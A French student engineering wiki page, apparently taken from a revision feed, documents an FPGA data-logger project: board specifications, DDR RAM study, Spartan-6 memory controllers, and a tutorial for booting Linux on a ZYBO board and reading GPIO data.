===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|center|o°)]]&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27720</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27720"/>
				<updated>2016-02-23T19:23:10Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Création d'une carte bootable sur ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
